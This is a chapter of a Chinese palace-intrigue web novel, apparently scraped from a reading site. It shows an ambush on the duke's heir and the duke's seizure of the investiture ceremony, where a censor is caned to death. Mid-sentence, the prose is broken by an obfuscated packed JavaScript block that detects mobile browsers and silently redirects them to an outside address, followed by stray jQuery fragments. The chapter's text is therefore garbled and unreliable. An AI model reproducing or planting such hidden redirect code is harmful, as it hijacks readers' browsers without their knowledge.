伴君独幽 作品

140. 大典

二人共乘一骑,在荒野中夺命奔逃。但身后的利箭依旧如飞蝗般不断射来。程豫章一边挥剑抵挡,一边策马疾驰。


突然,他身子一颤闷哼一声,身体微微一晃,但手中的缰绳却依然紧紧握着。


沈持玉觉察到了异常,惊恐道:“你中箭了?”


她撑起身子试图往他身后瞧,却被他一把拦住腰身,闷闷道:“坐好!”


沈持玉察觉到他握着缰绳的右手有些力不从心,她一把抓住缰绳道:“你知道那些人是谁派来的,只要你表明世子爷的身份,他们不敢杀你!”


闻言,程豫章苦笑了一下。


又是“扑哧”一声,程豫章嘴角溢出一抹血色,身子趔趄了下重重倒了下去。


下一刻,沈持玉抓住了他的手臂,惊慌地喊道:“我不需要程家人的施舍,你必须活着!”


周遭都是呼啸的风声,程豫章感觉自己好累好累,可他心里还有疑惑未解,他怎么甘心这般死去。


他撑着一口气,猩红的眸子死死盯着她,颤抖着开口:“你究竟是不是……是不是我的……”


山势陡峭,足下骏马猛然扬蹄,沈持玉只觉手上一空!


她没能抓住他!猛然间回头只看得见一团黑影翻滚着跌下山坡,她茫然地伸出手,“程豫章!程豫章!”


回应她的只有呼啸的风,和数不清散落的箭矢。


怎么会呢?


他是程家人,是那人教养出的仇人,他怎么会舍命救她!


她将脸贴在马颈上,打斗声渐渐远去,泪珠顺着眼睫滑入马鬃消失不见,她干裂的嘴唇翕动了半晌,忽然笑了,低低答道:“是啊,我的的确确是你的……姐姐。”


霜花满地,残月在天,回应她只有呼啸的寒风。


镇国公府。


身着黑色斗篷的男子行至书房,看到屋内亮着的烛火,心头一紧,推门而入,单膝跪地,“属下无能,让宸妃跑了。”


烛火摇曳不定,光影在墙壁上诡谲地舞动。


镇国公冷哼道:“废物!”


黑衣人低垂着头道:“属下该死,甘愿领罚。只是属下行动之时遇到了世子,他身中两箭坠下了山崖,不知是生是死。”


听闻此言,嘴角竟勾起一抹冷笑,那笑容里没有半分悲痛,反而透着一丝森冷与不屑:“这逆子死了倒也干净。”


自在十年前他便有废除世子的心思,奈何几个姨娘肚子都不争气,他去看了许多大夫却都看不出名堂来,原本早歇了这方面的心思,谁知那苗疆蛊师一眼瞧出症结所在,他竟被人下了绝嗣的药。


他将府里的人调查了个底儿朝天也未曾想明白是谁下的毒手,甚至还曾怀疑过先镇国公。


好在新入门的宋姨娘有了身孕,蛊师已帮他瞧过了,此胎必是男孩。


如今程豫章死了,倒是省得他再费心思。


镇国公又道:“三日后大典准备妥当了吗?”


黑衣人道:“请国公爷放心,各处台阁要司都在掌控之中。”


太子是他一手选定扶植的人,又有天子诏书在手,即便内阁反对也无济于事,更何况他早已命人看管了这些朝臣的家眷。


待太子的身份定下,他便送朱杞上路。


正在这时,黑衣人忽然看向门外,眼神中闪过一丝警惕,门骤然被他推开,只听一声清脆的瓷器碎裂声。


“老爷!”国公夫人惊慌失措地站在门前,地上是碎了一地的碟碗,汤汤水水更是撒了一地。


“妾身见您近日操劳,特做了些点心送来。”她的声音微微颤抖,却极力掩饰着内心的慌乱。


镇国公抬眼看向她,眼神中闪过一丝疑虑:“你何时来的?”


“刚来的,是发生了什么事情,我刚走到门口就听见什么‘大典’。”她说着一脸担忧地望向镇国公。


她的神情太过镇定,眸中尽是担忧之色。


镇国公未曾从那张沉静的脸上瞧出一丝丝恨意,想来她果真没有听到关于程豫章的对话,否则此刻不会这般镇定自若。


“没什么,你早些休息,我还有事儿要谈。”


她强忍着悲痛,与国公爷寒暄了几句后微微福身,转身缓缓走出书房。直到走出书房门,她才感觉后背已被冷汗湿透。


回到自己的房间,镇国公夫人再也支撑不住,瘫坐在椅子上。泪水夺眶而出,她心中满是悲痛与愤怒。


万万没想到他这般狠心,竟对豫章下此毒手。


初九,册封大典。


奉天殿燔炉烟雾缭绕,身着飞鱼服的卤簿仪仗列于奉天门外东西,拱卫司陈列的仪仗从丹陛的东西一直绵延到丹墀两侧,和声郎进入奉天门,陈乐于丹墀之南。百官早已就位,随着三通大鼓依次敲响,尚宝卿携侍从、侍卫官身着器服前往谨身殿奉迎册宝。


身着太子衮服的少年怯弱地站在奉天门外,日光落在镂拱飞檐,折射出璀璨的光芒,晃得少年睁不开眼。


丹陛上下,满朝文武身着朝服,依照品级与仪制整齐排列。


镇国公身着蟒袍玉带,站在群臣之首,他面色平静地接受着百官的瞻仰,心底却是抑制不住的激动,二十年了,终于……终于登上了这高位。


只是本该坐在龙椅上的天子却不见踪影,御座旁的屏风后却显出一道儿女子的身影,司礼监总管刘福扬声道:“陛下身子抱恙,册封诸事由皇后娘娘代之。”内阁已有半月未曾见到皇帝,若不是见到了天子手书的册封诏书,便是这皇太子也是不认的。


可朝臣们苦等半月等来的却不是天子,已有人沉不住气了。


不等赞礼官开口,御史孙齐贤挺身而出。


“且慢!”这一声高呼,如巨石入水,瞬间打破了原本凝重的寂静。众人皆惊愕地望向他,镇国公的脸色也微微一变。


他步伐匆匆却又不失沉稳,一身朝服在阳光下略显黯淡,但其眼神坚定如炬。


站定之后朗声道:“陛下为天子,此等册封太子之大事,关乎国本,焉能由皇后娘娘代劳?臣等恳请面见陛下,亲聆圣谕,以昭大典之正统。”言罢,目光直直地盯着那帘幕后的身影,毫无退缩之意。


屏风后响起女官的声音:“孙御史,陛下龙体欠安,已多日未能安寝,中宫代行此责,亦是陛下之意,君命难违,大人莫要再行纠缠。”


孙齐贤却冷笑一声:“陛下不见群臣已半月有余,臣等唯见诏书,不见圣颜,实难信服。且镇国公位高权重,近日来行事多有蹊跷,臣恐陛下已被挟持,此册封大典背后恐有阴谋。镇国公,你莫不是想借此乱我朝纲,行那篡逆之事?”此语一出,满朝皆惊,众人的目光纷纷投向镇国公。


镇国公面色如常,冷笑一声:“孙齐贤,你休得血口


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271212|151880||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


喷人!本官忠心耿耿,日月可鉴。你这无端猜忌,扰乱册封大典,其心可诛!”


孙齐贤冷笑一声:“镇国公,您若心中无鬼,何必如此恼怒?如今这局面,不得不让人多想。”


镇国公冷哼道:“哼!你这无知小吏,竟敢在这朝堂之上胡言乱语,扰乱大典。来人啊,此等狂徒,给我拿下,交与锦衣卫,杖责五十,以儆效尤!”


锦衣卫闻令而动,上前欲擒孙齐贤。此时,几位大臣纷纷出列求情。


吏部尚书王大人赶忙说道:“镇国公,孙御史虽言语莽撞,但念其一片忠心,望公网开一面,从轻发落。”


镇国公却不为所动:“王大人,此乃朝堂大事,礼制不可废,威严不可犯。他这般公然违抗旨意,若不惩处,日后朝堂岂不乱套?”


孙齐贤挣扎着喊道:“镇国公,你敢如此,定是作贼心虚!你这乱臣贼子,必遭天谴!”


镇国公大怒:“给我狠狠打,若有再求情者,一并论处!”


锦衣卫不再迟疑,将孙齐贤拖到殿外便行杖责。


廷杖一下下落在孙齐贤身上,他却咬紧牙关,强忍着剧痛,仍高呼:“镇国公乱臣贼子,必遭天谴!”


刹那间,奉天殿内气氛凝固,朝臣们的心都提到了嗓子眼。孙齐贤被锦衣卫粗暴地按倒在地,他的朝服瞬间凌乱。第一杖落下,只听“啪”的一声脆响,如惊雷炸响在寂静的殿内,孙齐贤的身体猛地一震,口中发出痛苦的闷哼。


随着棍棒的起落,他的背部衣衫迅速破裂,鲜血如泉涌般渗出,很快染红了他身下的地面。


孙齐贤的双手紧紧抠着长凳,指节泛白,他的双腿不停地抽搐,每一次杖责都伴随着身体的剧烈颤抖。


他的脸色由红转白,再转为青灰,豆大的汗珠从额头滚滚而落,混着泪水在脸上肆意流淌,头发也早已散乱,一缕缕贴在满是痛苦的脸上。他紧咬着牙关,试图不让自己发出惨叫,可那钻心的疼痛终究让他忍不住发出声声凄厉的哀号,那声音在奉天殿内回荡,似鬼哭狼嚎,令每一位朝臣都胆战心惊。


众臣见此惨状,纷纷面露不忍与惊惶。吏部尚书王大人的嘴唇微微颤抖,想要再次求情,却又畏惧镇国公的威严而不敢出声。一些胆小的朝臣早已低下了头,不敢直视这血腥的场景,身体也不由自主地微微颤抖,仿佛那棍棒是落在自己身上一般。


不一会儿,孙齐贤便气息奄奄,最终倒在血泊之中,没了声息。


见此情形,又有几位大臣义愤填膺,纷纷站出指责镇国公专横跋扈,草菅人命。镇国公脸色铁青,大手一挥:“将这些不知死活的家伙一并拉下去,重重地打,打到他们闭嘴为止!”


一时间,奉天殿外哀号声起,众大臣眼睁睁看着同僚被拖走受刑,却无能为力。而镇国公站在那里,眼神中透着一丝狠厉与得意,今日便要他们认清这朝廷究竟谁才是主子。


巍峨的殿宇,鸱尾高耸,冬日的阳光映照在琉璃瓦上,格外地刺眼。


朱杞眯了眯眼,放下了手中的千里镜,嘴角勾起一抹嘲讽的笑:“小人得志不过如此。”


身旁的小太监福安道:“干爹传来消息,孙御史不行了。再这么打下去……”


只会死更多的人,福安没敢继续说。


朱杞却毫不在意,他拿着千里镜看得兴味十足,“狗咬狗多有意思。”